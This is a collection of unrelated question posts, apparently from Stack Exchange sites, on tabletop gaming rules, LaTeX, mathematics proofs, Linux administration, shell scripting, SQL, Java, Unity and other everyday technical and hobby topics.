Is a pegasus summoned by Find Greater Steed controlled or independent when mounted?

A  is described thusly with regards to mounts:     [T]hese wild and shy creatures are as intelligent as humanoids, and so can’t be traditionally broken and tamed. A pegasus must be persuaded to serve a good-aligned creature as a mount, but when it does so, it forges a life-long bond with its new companion.   They have an intelligence of 10 and are "as intelligent as humanoids". Intelligent creatures cannot be used as a controlled mount. So, clearly if a normal pegasus were used as a mount they would presumably  and thus would not act as a controlled mount.  However,  says:     You control the mount in combat.   Does this mean that the find greater steed is intended to override the general mounted combat rules and force the mount to be a controlled mount?   If so, does that then mean that you cannot allow the mount to act independently?   The latter interpretation seems to mesh with a  about find steed, but I'm not sure if there is something I am missing here.


Reduction of Space between two Sub-figures

I want to reduce the space between two subfigures and use that space to make those subfigures large. How to do that? My code is as follows:  \begin{figure}[htp]   \centering   \subfigure[1a]{\label{fig1:a}\includegraphics[width=1.6in]{./fig1a.eps}}\hfill   \subfigure[1b]{\label{fig1:b}\includegraphics[width=1.6in]{./fig1b.eps}}   \label{fig1} \end{figure}


I was playing Grand Theft Auto Online on Xbox 360, and a player teleported to me.  I shot them, but they placed a campfire on me.  Now, I am constantly being burnt to death. How do I get out?


The necessary and sufficient condition for a unit element in Euclidean Domain

I am trying to prove that in Euclidean domain D with Euclidean function d, u in D is a unit if and only if d(u)=d(1).  Suppose u is a unit, then there exist v in D such that uv=1, this implies u\1 so d(u)<=d(1), but obviously 1 divides u so d(1)<=d(u). Hence, d(u)=d(1).  Conversely, suppose  d(u)=d(1), since u is not zero, there exist q and r in D such that  1=uq+r with r=0 or d(r)< d(u).  If r=0 then u is a unit. Else d(r)< d(u) =d(1), this implies d(r)< d(1). I stop here, because I failed to argue that r must be zero.  Can anyone help me? Thanks.


Showing $U(20)$ is not cyclic: Is my proof correct?

I solved the following exercise:  Exercise: Show that $U(20) \neq \langle k \rangle$ for any $k \in U(20)$.  Here $\langle k \rangle $ is defined to be the set $\{k^i \mid i \in \mathbb Z \}$.  My answer: I calculated $\langle 3 \rangle = \{3,9,7,1\}$. Then I noted that for $x \in \langle 3 \rangle $ the set $\langle x \rangle $ is a subgroup of  $\langle 3 \rangle $ hence it must be that $|x|\le 3$. Therefore none of the elements in $\langle 3 \rangle $ can generate $U(20)$.  Next I calculated $\langle 13 \rangle = \{13, 9, 17,1\}$ and by the same argument none of these elements can generate $U(20)$ either.  The last remaining elements in $U(20)$ are $19$ and $11$ but $\langle 19 \rangle =\{19, 1\}$ and $\langle 11\rangle = \{1,11\}$.  This concludes my proof. $\Box$  But the solution given to this question goes like this:   Use brute force to show that $k^4 = 1$ for all $k$.  So I was wondering:      Is the argument I use in my answer correct?


How can I replace Bfont with another font upon startup

Blender is being used by Openshot and by default Blender uses Bfont to create text objects.   Currently Bfont that my system has from the 2.79 lacks russian characters. So the only way to render russian text is to load a different font, which I can't do as Openshot uses Bfont in most of Blender interactions without my intervention uses blender -b.   So question is:  how can I make sure that when blender is started it uses (as Bfont, default font to render text objects another font of my choice) and this is loaded upon startup.    I know how to do it by modifying source files and recompiling blender and openshot from scratch.  I can put another font for blender as bfont and recompile.  I can also edit python scripts on openshot side and try to use/load another font, prior to calling blender.  However, I wanted to achieve the same with vanilla blender (those that I download from blender website)  So any way to call as Bfont some other fine via  config option (User prefs) or placing a file in some ~/.blender/... directory?


How to enable/install kernel-debuginfo linux-4.14.14 on amzn-linux?

I'm on an amzn-linux instance which by default runs linux-4.9. I've compiled and booted linux-4.14.14 from source and I've compiled systemtap from source. Now I'd like to get them both working nicely together. Systemtap requires linux-debuginfo package. I'm running into a myriad of issues just trying to enable this or get it installed:   amzn-main-debuginfo yum repo only provides kernel-debuginfo-4.9 I cannot find a kernel-debuginfo-4.14.14 package i cannot find kernel-debuginfo-4.14.14 source code so I can compile it from scratch I cannot find a CONFIG_DEBUG_INFO option for make menuconfig for linux-4.14.14 if I manually add CONFIG_DEBUG_INFO=y to linux-4.14.14/.config it gets deleted before compilation   If there's any way to fix any one of the above things, I think I can get this to work.


Is there a general definition of the effect size?

The effect-size tag has no wiki. The  does not provide a precise general definition. And I have never seen a general definition of the effect size. However when reading some discussions such as  I am under the impression that people have in mind a general notion of effect size, in the context of statistical tests. I have already seen that the standardized mean $\theta=\mu/\sigma$ is termed as the effect size for a normal model ${\cal N}(\mu,\sigma^2)$ as well as the standardized mean difference $\theta=(\mu_1-\mu_2)/\sigma$ for a "two Gaussian means" model. But how about a general definition ? The interesting property shared by the two examples above is that, as far as I can see,  the power depends on the parameters only through $\theta$ and is an increasing function of $|\theta|$ when we consider the usual tests for $H_0:\{\mu=0\}$ in the first case and $H_0:\{\mu_1=\mu_2\}$ in the second case.    Is this property the underlying idea behind the notion of effect size ? That would mean that the effect size is defined up to a monotone one-to-one transformation ? Or is there a more precise general definition ?


Solving linear congruences by hand: modular fractions and inverses

When I am faced with a simple linear congruence such as  $$9x \equiv 7 \pmod{13}$$ and I am working without any calculating aid handy, I tend to do something like the following:  "Notice" that adding $13$ on the right and subtracting $13x$ on the left gives: $$-4x \equiv 20 \pmod{13}$$  so that $$x \equiv -5 \equiv 8 \pmod{13}.$$  Clearly this process works and is easy to justify (apart from not having an algorithm for "noticing"), but my question is this: I have a vague recollection of reading somewhere this sort of process was the preferred method of C. F. Gauss, but I cannot find any evidence for this now, so does anyone know anything about this, or could provide a reference? (Or have I just imagined it all?)  I would also be interested to hear if anyone else does anything similar.


Can you apply metamagic on the Wish spell? For example using Twinned Spell on Otto's Irresistible Dance cast through Wish?


How to preserve the newline character (\n) when capture output of a command in a variable

As a simple example, I have a bunch of source code files. I want to store the "head" command output to a variable for all these files.  I tried:  output=$(head $file)   but what happened is that this automatically trimmed all \n characters when storing the output to a variable.  How do I store the command output as is without removing \n characters?


Are Japanese Students really not allowed jobs whiles in schools?

In Hana and Hina After School (Hana to Hina wa Houkago) one of the main plot points it that neither Hana or Hinako are actually allowed a job and if discovered they could be expelled, to the point that Hinako  quit her job as a Model and      in Chapter 14 (still reading) Hinako quit her job with Hana because Maiko posted online about buying something where Hinako worked.   Is this really something in Japan? that students like Hana and Hinako aren't allowed jobs and would actually get expelled for having one, even if it doesn't interfere with their school works? (as shown how Hana's and Hinako's work scheduled were changed so they could do their exams)


How to force paths instead polygons when exporting images as svg?


I know the following is not possible because the Enumeration's type has to be an int  enum GroupTypes {     TheGroup = "OEM",     TheOtherGroup = "CMB" }   From my database I get a field with incomprehensive codes (the OEM and CMBs). I would want to make this field into an enum or something else understandable. Because if the target is readability, the solution should be terse.  What other options do I have?


Is this sentence correct? "What I want to do is read this book."

"What I want to do is read this book."   Is it correct? Or, can I say:  "What I want to do is to read this book." "What I want to do is reading this book."  Are all of the three sentences correct?


Why do scripts ran via "sh *.sh" function differently than "./*.sh"?

I'm using Ubuntu 15.10. I have noticed a weird problem.   When running a rsync command embedded in a shell script (as root) with --exclude={} options, rsync works and excludes paths as it's supposed to when I launch it as root via   ./rBackup.sh   However, when I run it as root via   sh rBackup.sh   the exclude directory options do not carry over, and it infinite loops when backing up the drive it's backing up to in /media/. Why?  Edit - this is not a sh / bash difference - or shouldn't be. I have #!/bin/bash as the first line, so when running via "sh *.sh" it should use the bash interpreter - at least, in theory.  Script is as follows:  #!/bin/bash  StandbyMount="/media/astump/sdb2" mount /dev/sdb2 $StandbyMount rsync -aAXv --exclude={/dev/*,/proc/*,/sys/*,/tmp/*,/run/*,/mnt/*,/media/*,/lost+found,/etc/fstab,/boot/grub/grub.cfg} --delete-before / $StandbyMount umount $StandbyMount rm -fr $StandbyMount


How can I use one method and also switch between a coroutine and the main method?

Now I'm using two methods, one as StartCoroutine and one not.  What I want to do is to have just one method and when I set the StartCoroutine variable to true or false when the game is running I want it to switch between the coroutine and the main. Is there a simple way to do it with one method and not two, if not, how do I achieve this?  using System.Collections; using System.Collections.Generic; using UnityEngine;  public class Grid : MonoBehaviour {     public GameObject gridBlock;      public int worldWidth = 10;     public int worldHeight = 10;     public bool StartCoroutine = false;      public float spawnSpeed = 0;      void Start()     {         if (StartCoroutine)         {             StartCoroutine(GenerateGridSC());         }         else         {             GenerateGrid();         }     }      private void GenerateGrid()     {         for (int x = 0; x < worldWidth; x++)         {             for (int z = 0; z < worldHeight; z++)             {                 GameObject block = Instantiate(gridBlock, Vector3.zero, gridBlock.transform.rotation) as GameObject;                 block.transform.parent = transform;                 block.transform.name = "Block";                 block.transform.tag = "Block";                 block.transform.localPosition = new Vector3(x, 0, z);             }         }     }      IEnumerator GenerateGridSC()     {         for (int x = 0; x < worldWidth; x++)         {             yield return new WaitForSeconds(spawnSpeed);              for (int z = 0; z < worldHeight; z++)             {                 yield return new WaitForSeconds(spawnSpeed);                  GameObject block = Instantiate(gridBlock, Vector3.zero, gridBlock.transform.rotation) as GameObject;                 block.transform.parent = transform;                 block.transform.name = "Block";                 block.transform.tag = "Block";                 block.transform.localPosition = new Vector3(x, 0, z);             }         }     } }


What is the name of this connector from a fan?

I am EE hobbyist and I often used recycled parts in my projects. I came across this connector to a Heat Sink Fan and would like to know the name of it.  Thanks for the help.


Proving that $7^n(3n+1)-1$ is divisible by 9

I'm trying to prove the above result for all $n\geq1$ but after substituting in the inductive hypothesis, I end up with a result that is not quite obviously divisible by 9.   Usually with these divisibility induction problems, it falls apart nicely and we can easily factorise say a 9 if the question required us to prove that the expression is divisible by 9. However in this case, I do not end up with such a thing.  My work so far below:  Inductive Hypothesis: $7^k(3k+1)-1=9N$ where $N\in\mathbb{N}$  Inductive Step:  $7^{k+1}(3k+4)-1 \\ =7\times 7^k(3k+1+3)-1 \\ =7\times \left [ 7^k(3k+1)+3\times 7^k \right ] -1 \\ = 7 \times \left [ 9N+1 + 3 \times 7^k \right ] -1 \\ = 63N+21\times 7^k+6 \\ = 3 \left [ 21N+7^{k+1}+2 \right ]$   So now I need to somehow prove that $21N+7^{k+1}+2$ is divisible by 3, but I'm not quite sure how to proceed from here...


Get the index of the nth occurrence of a string?

Unless I am missing an obvious built-in method, what is the quickest way to get the nth occurrence of a string within a string?  I realize that I could loop the  method by updating its start index on each iteration of the loop. But doing it this way seems wasteful to me.


Suppose a finite set $G$ is closed under associative product and that both cancellation laws hold in $G$. Prove $G$ must be a group.  I somehow need to prove identity, inverse, that closure holds to prove that set is a group.   How do i begin? Hints?   Please mention the ideas behind the proof?  Thanks.  EDIT   The proof as posted in link below is     I have doubts regarding this proof    There exists a element $e$ of G such that $f(e)=a$? Why does it exist? Now as the function is surjective there exists an element $aa_{R} =e$?  Why does it exist? What is the role of surjectivity here?   Thanks.


Issue with Updating in Ubuntu 12.04 Running on Flash Drive

I am trying to update the packages on Ubuntu 12.04 LTS, which is running on a flash drive.  I tried in the command: sudo apt-get update and receive the following error:  W: Duplicate sources.list entry cdrom://Ubuntu 12.04.3 LTS _Precise Pangolin_ - Release amd64 (20130820.1)/ precise/main i386 Packages (/var/lib/apt/lists/Ubuntu%2012.04.3%20LTS%20%5fPrecise%20Pangolin%5f%20-%20Release%20amd64%20(20130820.1)_dists_precise_main_binary-i386_Packages) W: Duplicate sources.list entry cdrom://Ubuntu 12.04.3 LTS _Precise Pangolin_ - Release amd64 (20130820.1)/ precise/restricted i386 Packages (/var/lib/apt/lists/Ubuntu%2012.04.3%20LTS%20%5fPrecise%20Pangolin%5f%20-%20Release%20amd64%20(20130820.1)_dists_precise_restricted_binary-i386_Packages)'   How can I fix this problem so the system can update packages correctly?


Does anyone know what is the sum function $f(x)$ of the series $\displaystyle\sum_{n=1}^\infty \frac{\cos(nx)}{n^2}$? I have no idea how to find a sum function... Any help would be appreciated.


Possible Duplicate:             Shall I upload the pictures?   I'm not sure how to start this sentence. If I offer someone to do something (like uploading pictures as in the example above, or closing the door), how do I say this?


Given two uniformly distributed independent random variables what should the PDF of multiplication of them?

I am a probability noob and I was solving the following problem, but my answer doesn't match the book's.  The length and width of panels used for interior doors(in inches) are denoted as Xand Y, respectively. Suppose that Xand Yare independent, continuous uniform random variables for 17.75<x<18.25 and 4.75<y<5.25, respectively.determine the probability that thearea of a panel exceeds 90 squared inches.  I thought the area random variable will have a minimum value of 17.75*4.75=84.3125 Maximum value of area will be 18.25*5.25=95.8125  Also if X and Y are uniformly distributed and independent then area should be uniformly distributed too. Every single value that area can take has equal chance. Please correct me here.  Now with this when I integrate area(A) from 90 to 95.8125 for a constant PDF f(A)=1/(95.8125-84.3125), my answer comes out to be 0.5054. But the answer according to the solutions given at the back of book is 0.499. I am not able to understand where I am doing a mistake. Can anyone please help me understand where I am going wrong?


How to prove that if $x$ satisfies  $x^n+a_{n-1}x^{n-1}+\dots+a_0 = 0$  for some integers $a_{n-1}$, ..., $a_0$, then $x$ is irrational unless x is an integer.  Thanks for your help in advance.


Call UNIX commands (nice, renice) in Python

I'm making a Python program to assign new values to processes and dynamically monitor them:  import os import subprocess #!/usr/bin/env python print "hello world" os.system("ps lx") print "Enter PID" pid = raw_input() print "Entered PID",pid print "Enter new priority" new = raw_input() print "Entered new priority is"new os.system("sudo renice new pid")   I don't know how to call nice and renice with arguments in Python.


BIONDELLO: Why, is it not news, to hear of Petruchio's coming?      BAPTISTA: Is he come?      BIONDELLO: Why, no, sir.      BAPTISTA: What then?      BIONDELLO: He is coming.      BAPTISTA: When will he be here?      BIONDELLO: When he stands where I am and sees you there.     What does 'come' mean in this context? I guess that come could be substituted for here. But after searching for what come could have a second meaning in middle english, I came up with nothing. Does anyone have sufficient evidence to be able to prove that my claim is correct or disprove it and come up with an alternate solution?   Edit to clarify why my question is different from . It is because I am interested in the word 'come' and not 'become.' The other answer does not satisfy my queries which is the evidence. I believe that these two topics are completely different and under no circumstances is my question a duplicate.


Why do some Linux shell scripts use exec to run commands?

In a Linux bash script such as:  exec /usr/lib/4.5/mono-service.exe ./AudioVideoRecorder.exe "$@"   , why do I have to exec the command and not just run it without the exec part?


It is well known and somewhat easy to show that $\prod\limits_{j=1}^n \cos\frac{x}{2^j} = 2^{-n}\frac{\sin x}{\sin\frac{x}{2^n}}$.   The "2-ness" of $2$ (in $\cos\frac{x}{2^j}$) is really important to deriving this identity. I was wondering if there was anything nice known about products of the form $\prod\limits_{j=1}^n \cos\frac{x}{k^j}$ where $k$ is a positive integer $\ge 3$.


How do I clip a shapefile with a raster file with gdalwarp?    Input: a shapefile Cutter: a raster file Output: a cut shapefile    I can only find the answer of cutting the raster file by a shapefile but not vice versa.


Is the use of comma before "and" in the following sentence correct?  Interviews are by invitation only, and conducted during the admissions review process.


I'm arriving to the US by air, but departing via land. How do I end form I-94 now that it is only electronic?

I need to end my visa waiver period when leaving States to Canada so that I don't exceed the period of 90 days. But form I-94 is no longer a physical card, it's only online.  How do I know or ensure that it will be terminated and will not continue counting the days once I leave to Canada?


Im trying to insert data into a table i created on Oracle SQL live. I was able to enter the data in one row at a time but when i try to enter it all at the same time, i get an error message that says SQL command not properly ended. Im using the code below. I don't know what i'm doing wrong:   Insert into PET_OWNER (OwnerID, OwnerLastName , OwnerFirstName , OwnerPhone , OwnerEmail)  Values (1, 'Downs' , 'Marsha' , '555-537-8765' , 'Marsha.downs@somewhere.com'),  Values (2 , 'James' , 'Richard' , '555-537-7654' , 'Richard.James@somewhere.com'),   Values (3 , 'Frier' , 'Liz' , '555-537-6543' , 'Liz.Frier@somewhere.com'),   Values (4 , 'Trent' , 'Miles' , 'Miles.Trent@somewhere.com');


About 2-3 months ago I decided to start my own batch of vinegar.  I started with some Braggs apple cider vinegar which contains the mother, and I added some old wine and some fruit juice to the mix.  I kept it in a dark and warm place, as per instructions online.  A few layers of cheesecloth were placed on top to allow it to air, without letting anything else get into it.  When I recently opened it, I found a layer of what appears to be a yellow-orange mold on top.  There are also some small worms or maggots living on the top, but that doesn't seem as problematic to me.    As you can (sort of) see in this picture above, there is definitely a mother at the bottom.  The mother has grown since I last saw it.  I am not sure what to think about that top layer though.  Is the vinegar batch completely spoiled?  Picture #2 (a closer look at the top)


Combining probabilities/information from different sources

Lets say I have three independent sources and each of them make predictions for the weather tomorrow. The first one says that the probability of rain tomorrow is 0, then the second one says that the probability is 1, and finally the last one says that the probability is 50%. I would like to know the total probability given that information.  If apply the multiplication theorem for independent events I get 0, which doesn't seem correct. Why is not possible to multiply all three if all sources are independent? Is there some Bayesian way to update the prior as I get new information?  Note: This is not homework, is something that I was thinking about.


Don’t seem too forward / Don’t seem overly friendly

Let’s suppose someone is behaving in a very impolite and perhaps rude way with you and you dislike his manners toward yourself. In such a condition, do the following sentences mean the same and can they be used under these circumstances?      Don’t seem too forward.    Don’t seem overly friendly.   I wonder if you clarify the meaning of each one.


I am new to stack overflow and I would appreciate feedback. I am creating a template graph class and have split it into two files graph.h and graph.hpp, but everytime I compile I get this error:      In file included from graph.h:97:0,                      from main.cpp:2:     graph.hpp:4:26: error: expected unqualified-id before ‘)’ token      typename graph<T>::graph(){                           ^ makefile:2: recipe for target 'executable.x' failed   Here is my graph.hpp file so far:  #include "graph.h"  //template <typename T> typename graph<T>::graph(){    numVertices = 0;    graphWeight = 0; }   And my graph.h file looks something like:  template <typename T> class graph{     public:       graph(); . . .    private:    };   Also, my main.cpp is just simply:  #include "graph.h"  int main(){    graph<int> g;  }   What could possibly be wrong? I know it's probably something simple that has to do with the template.  Thanks


I've heard of people playing court rules where the two players on the same side in doubles play sides rather than alternate shots. Is this legal and if so what are the rules please.


How do I transparently redirect only the root directory on a DreamHost.com shared server?

The following DreamHost wiki explains how to transparently redirect your root directory to a subdirectory..    The recommended code is..   RewriteEngine on RewriteBase / RewriteCond %{REQUEST_URI} !^/blog/ RewriteCond %{HTTP_HOST} ^(www\.)?domain\.  RewriteRule ^(.*)$ /blog/$1 [L]   However, the recommended code only works on the www subdomain and restricts access to all root directories other than blog.  Here are my specific questions..   How can I modify the code so it works with any subdomain (any.domain.com) and also works with no subdomain (domain.com)? How can I make domain.com redirect to domain.com/blog while still allowing access to domain.com/any-other-directory ?     UPDATE: This question has been incorrectly marked as duplicate. The suggested post does not answer this specific implementation question about this specific hosting provider. I don't have the reputation points yet to add this to the suggested post, so if someone adds my question to the suggested post then I'll remove this question. Thanks.


How to require multiple permission group membership for file access?

Given that users can be added to multiple groups, I'm in a situation where I need to restrict access to an intersection of groups rather than a union or subset of groups for a file.  More concretely, given permission group A and group B, I'd like to restrict access to users who are members of A and B, and not members of A-only or B-only. Current ACL usage allows you to restrict access to users who belong to A or B by adding to the ACL of a file.   The closest I've considered is some kind of nested directory scheme /dir_A/subdir_B/file. Here dir_A directory has execute-only permissions for A and subdir_B has execute-only permissions for B, and file has read-only permissions ACLs for A and B. As I understand this only prevents listing files and does not stop a user with only group A membership of reading the file given the full file path.


Rank of circulant matrix with $k$ ones per row

Consider the $n\times n$ matrix over the field $\mathbb F_2$ formed by creating the circulant matrix of the vector consisting of $k$ ones followed by $n-k$ zeroes. E.g., for $n=4$ and $k=2$, the resulting matrix is  $$\begin{bmatrix}1 & 1 & 0 & 0\\ 0 & 1 & 1 & 0\\0 & 0 & 1 & 1\\1 & 0&0 &1\end{bmatrix}.$$  What is the rank of this matrix?  I suspect the answer is $n-d+1$, where $d=\gcd(n,k)$. I can prove this is an upper bound on the rank, since the following vectors are linearly independent and lie in the kernel of the matrix: $$\begin{bmatrix}1 & (i\ \textrm{zeroes}) & 1 & (d-2-i\ \textrm{zeroes}) & 1 & (i\ \textrm{zeroes}) & \cdots \end{bmatrix}$$ with $d-1$ different choices for $i$. Is there an easy way to see that these completely describe the kernel?


How to make it to where players can place a lever on a certain block? Adventure Mode

I am creating an adventure map and I need the player to be able to place levers on gold blocks. How can I do this via command block?


Need help to resolve Null Pointer Exception error

I am getting this error as follows :     Exception in thread "AWT-EventQueue-0" java.lang.NullPointerException       at recipes.presenter.InsertPresenter.insertNewEntry(InsertPresenter.java:33)       at recipes.view.InsertView.jButton1ActionPerformed(InsertView.java:229)       at recipes.view.InsertView.access$000(InsertView.java:14)       at recipes.view.InsertView$1.actionPerformed(InsertView.java:124)   The code in InsertPresenter file is as follows :  package recipes.presenter;  import javax.swing.JOptionPane; import recipes.model.*; import recipes.view.*;  public class InsertPresenter {      private IInsertView iInsertView;     InsertView iv;     IRecipeQuery query;      public InsertPresenter() {         iInsertView = null;         iv =  new InsertView();     }      public void bind(IInsertView iv) {         iInsertView = iv;     }      public void insertNewEntry() {         int result = 0;         result = query.addRecipe(iv.getNameField(),iv.getCategoryField(),iv.getMainIngField(),                 iv.getPrepTimeField(),iv.getCookTimeField());         if (result == 1) {             JOptionPane.showMessageDialog(null, "Recipe added!");         } else {             JOptionPane.showMessageDialog(null, "Recipe not added!");         }     } }   Removing the iInsertView = null also didn't help. I searched for multiple answers here but they mostly asked  to not initialize the variable to object to null and I tried that as well without any luck.  Could anyone please help, what am I doing wrong here?  Update:  I tried the following way as well to initalize 'query' without any luck.  package recipes.presenter;  import java.util.Objects; import javax.swing.JOptionPane; import recipes.model.*; import recipes.view.*;  public class InsertPresenter {      IInsertView view;     IRecipeQuery queries;      InsertPresenter(IInsertView iiv, IRecipeQuery iqv) {         view = iiv;         queries = iqv;     }      public InsertPresenter() {     }      public void bind(IInsertView iv) {         view = iv;     }      public void insertNewEntry() {         int result = 0;         result = queries.addRecipe(view.getNameField(), view.getCategoryField(), view.getMainIngField(),                 view.getPrepTimeField(), view.getCookTimeField());         if (result == 1) {             JOptionPane.showMessageDialog(null, "Recipe added!");         } else {             JOptionPane.showMessageDialog(null, "Recipe not added!");         }     } }   Please help!


Any ideas why I'm getting a delay after clicking "Save as" or "Download" in Google Chrome

I'm running Google Chrome. When I do anything that'll save a file to my local filesystem - right-click and "Save As", click a download link, save an image - nothing happens for a good 20-30 seconds, and then suddenly the operation proceeds as normal.  The browser remains responsive whilst this is going on - I can navigate to other pages and so on - but the delay is infuriating. Especially since it often looks like nothing's happening, so I'll hit the download link again - and again - and then suddenly end up downloading four copies of the same file.  Any ideas?


UK tourist visa is expiring, but I can't use it because of Covid-19

I am from Nigeria. I got my UK tourist visa in February, but am unable to travel yet due to restrictions from Nigeria to UK. My visa will expire in August.  What will happen if the restriction is still in place and my visa expires before I can use it?


Shouldn't there be a book published by Stack Exchange containing the archive of best questions with the top answers for a particular site(s)?

Stack Exchange is a great place to ask and answer, but at the same time due to its legacy it has grown up with some of the best quality of content expressed in the question-and-answer format. So, shouldn't there be a book that should incorporate all such content of a site?  I think it would be easy to discover and keep track of content in that format over web page based one. What do you think?  NB- The book could be made to be available in softcopy and/or hardcopy.


Slow response on GitHub Pages with NameCheap

I have two domains registered with NameCheap and I'm pointing them to GitHub Pages. I noticed that when I use GitHub link (eg. ) the connection is reasonably fast, but when I use the domain () that is configured as GitHub says, the first connection is so slow.  I checked on Chrome Developers Tool and during the first connection I usually have a 1s Proxy negotiation delay. Could be this caused by NameCheap DNS servers? Are they really so slow? And, in this case, any good alternative?


Show that the sequence  $\left(\frac{2^n}{n!}\right)$ has a limit.  I initially inferred that the question required me to use the definition of the limit of a sequence because a sequence is convergent if it has a limit $$\left|\frac{2^n}{n!} - L \right|{}{}<{}{}\epsilon$$   I've come across approaches that use the squeeze theorem but I'm not sure whether its applicable to my question. While I have found answers on this site to similar questions containing the sequence, they all assume the limit is $0$.  I think I need to show $a_n \geq a_{n+1},\forall n \geq 1$, so  $$a_{n+1} = \frac{2^{n+1}}{(n+1)!}=\frac{2}{n+1}\frac{2^{n}}{n!}<a_n$$  A monotonic decreasing sequence is convergent and this particular sequence is bounded below by zero since its terms are postive. I'm not sure whether or not I need to do more to answer the question.


Want to install VirtualBox Guest Additions on CentOS 7 but get a header mismatch

I try to install VirtualBox Guest Additions on a CentOS 7 VM.  I installed the prerequisites via  sudo yum install perl gcc dkms kernel-devel kernel-headers make bzip2   then I "inserted" the Guest Additions CD image and the Guest Additions auto runner came up and ran.  However the Guest Additions installation errored out with     VirtualBox Guest Additions: Kernel headers not found for target kernel 3.10.0-1062.el7.x86_64.   For closer examination I issued the following commands in the Terminal shell of the VM:  $ ls /usr/src/kernels/ 3.10.0-1062.18.1.el7.x86_64   and  $ uname -r 3.10.0-1062.el7.x86_64   Notice the ddition caharcters 18.1 in the installed headers copared to what the kernel reports. I guess that is the reason why he Guest Additions installation fails.  How can I fix this and install the Guest Additions?    A few more details:   OS Version: CentOS 7.7.1908 Guest Additions Version: 6.1.6 EPEl Repo URL:


How to (safely) measure the surface area of a human body?

Here's a question just for curiosity.  You measure mass on scales.  You could measure volume by submerging in a bath with a snorkel system.  But how could you measure a living human's surface area without harming.  Ideas so far:  Using software to make a 3D model from images.  Effective, but very high-tech.  Wearing a morph suit and rolling in burrs until completely coated, then working out how many were picked up.  Standing naked in a room of known volume for a set amount of time and recording the temperature change in the room.  Would rely on knowing that the skin was uniformly at 37 degrees - could you reliably ensure this?  Preferable solutions would be simpler to implement even if a bit approximate.


def compose(f,g):     return lambda f: f + 1   return lambda g: g   how can I specify the order of the return statements  These are the test cases;  add1 = lambda a: a+1 this   = lambda a: a  test.expect( compose(add1,this)(0) == 1 )


Proving $C_{0} + C_1x +\cdots+ C_{n}x^{n} = 0$ has at least one real root in $(0,1)$

If $$C_{0} + \frac{C_1}{2} + \cdots+ \frac{C_{n-1}}{n} + \frac{C_{n}}{n+1} = 0\,,$$ prove that $$C_{0} + C_{1}x + \cdots+ C_{n-1}x^{n-1} + C_{n}x^{n} = 0$$    has at least one real root between $0$ and $1$.   I know how to prove the result by using the mean value theorem, but I am not understanding how the result from the mean value theorem allows us to conclude the final result. What I am asking is how does the existence of an $x \in (0,1)$ such that $f'(x) = 0$ mean that there exists a real root between $(0,1)$? All I can conclude from that is that there is an $x \in (0,1)$  such that the slope is the same as a secant line from the endpoints.


my question is always put on hold as off-topic or duplicate or closed why?

I posted many questions but most of the questions are put on hold as off-topic or duplicate or closed i dont know reason may be my english how to explain my issues or otherwise some senior stackusers dominate me?    [on hold]   [on hold]  [duplicate]


MediaTek MT7630 not working on Ubuntu 14.04 (need alternatives)

Please help :/  I have an ASUS x550c laptop with a MediaTek MT7630e wifi card. The wired internet works, but wireless doesn't. I have tried all the online solutions and none of them work. Since I need this laptop for work I am very close to giving up and going back to Windows :/  I've also seen this bug, doesn't give me encouragement that it's been sitting unresolved like this for the last 9 months:   What I am asking for here:   Are there any news on this bug or is there anybody that has a similar setup that managed to get wireless working on their laptop? Is there an alternative, like a WiFi USB stick or an adapter that can be plugged in into the ethernet port (and that works with Ubuntu)? I am willing to try anything as long as it doesn't entail having access to routers (I am imagining a scenario in a hotel where this is not possible) Is there a Linux distro that would work with this setup/card? (not sure if this is ok to ask here but I am desperate)   A few symptoms:   "rfkill list all" doesn't show anything after I did the first answer from here:  I bought this USB stick:  and since it doesn't have Linux drivers (Hardware B1) I downloaded ndiswrapper and tried installing XP drivers through that - didn't work. Fn+F2 button doesn't work, WiFi lamp doesn't turn on   Thanks for your time!!


New questions, Show Recommended, Sort Newest not working

Select New questions, show Recommended and sort by Newest and the  in my list is from 2012:  EDIT The very old questions now appear to be gone (yay) but the ordering seems inconsistent (boo):


If humans can live without consuming other animals, then why do we do it? From a biological point of view, why do we eat meat? I would also extend the question to other animals because many animals are carnivorous: why did carnivory evolve and why do animals eat meat?


Prove that no order can be defined on the complex numbers. (Baby Rudin: chapter 1 question 8)

Definition     An ordered field is a field $F$ which is also an ordered set, such that:   (i) $x+y < x+z$ if  $x$,$y$,$z \in F$ and $y<z$   (ii) $xy > 0$ if $x \in F$, $y \in F$, $x > 0$, and $y>0$   Question     Prove that no order can be defined in the complex field that turns it into an ordered field. Hint: -1 is a square   My approach  To prove that there can be no order defined in the complex field, I used the second point of the definition.    Let $x=(0,1)$ and $y=(0,1)$. I state that $x>0$ and $y>0$ (but I am unsure if I can do that). Thus $xy$ should be strictly positive, yet $xy= i^2=-1 <0$, thus this disproves the fact that it is possible to define an order in the complex field.  Would this be an acceptable proof? Can I really state that $x=(0,1)>0$?


I know how to encrypt a file and move it onto a USB with VeraCrypt(VC) however, I want to install VC on my USB so I don't have to install VC on every computer I use. All the instructions I have found for doing this are for windows. Any help would be appreciated


Why can't I launch eclipse from a terminal or run it?

Warning:OpenJDK 64-Bit Server VM warning: Ignoring option MaxPermSize; support was removed in 8.0


After "Your home bed was missing or obstructed" in minecraft, I can't find my way back

In my creative world, I had slept in a bed to set my spawn point. Then I broke the bed. I then accidentally fell out of the world (into the void) and died. It said "Your home bed was missing or obstructed" and it respawned me somewhere random. Now I can't find my way back! Help!


The stuff after the #### are just to tell you what I am doing and it's not actually part of my ssl.conf file  Trying to modify an ssl.conf configuration to do the following...  RewriteCond %{REQUEST_URI} ^/$ RewriteRule ^/(.*) https://misc.org/scores [L,R=301]  # takes misc.org and makes it misc.org/scores  #1  RewriteRule ^/scores/liverpool https://misc2.org/liverpool2 [L,R=301] # redirect for '/scores/liverpool to misc2.org/liverpool2' works  #2  RewriteRule ^/scores/liverpool/child https://misc2.org/liverpool2/child [L,R=301] # only redirects to /misc2.org/liverpool2 and never makes it to /misc2.org/liverpool2/child   If I comment out #1...#2 works but I need both to work.    What am I missing?  Thanks in advance


SQL Server not giving back memory - staying at Max Server Memory setting

I'm the only one working on this server and followed documentation about optimizing SQL memory usage when I saw that SQL was using all of the memory available of the server.  One of the steps I did is to fix the max memory size to 20 Gb (server for test purposes with 32 Gb memory).  After tuning, yesterday, SQL Server was only using 3-4 Gb but today, it has again reached the max memory usage I allocated.  Why is SQL Server keeping all 20 Gb? What will happen when users will begin to use the server if the max memory size is already used?


Hey!! So a few years ago, an old man gave me this bmx but it was very old so me and my dad decided to fix it. The seat is new and so are the tires. The rest is all original, could someone help me? I have never seen this type of frame tho, it has an "X" on it, as you can see


How do you perform a left outer join using linq extension methods

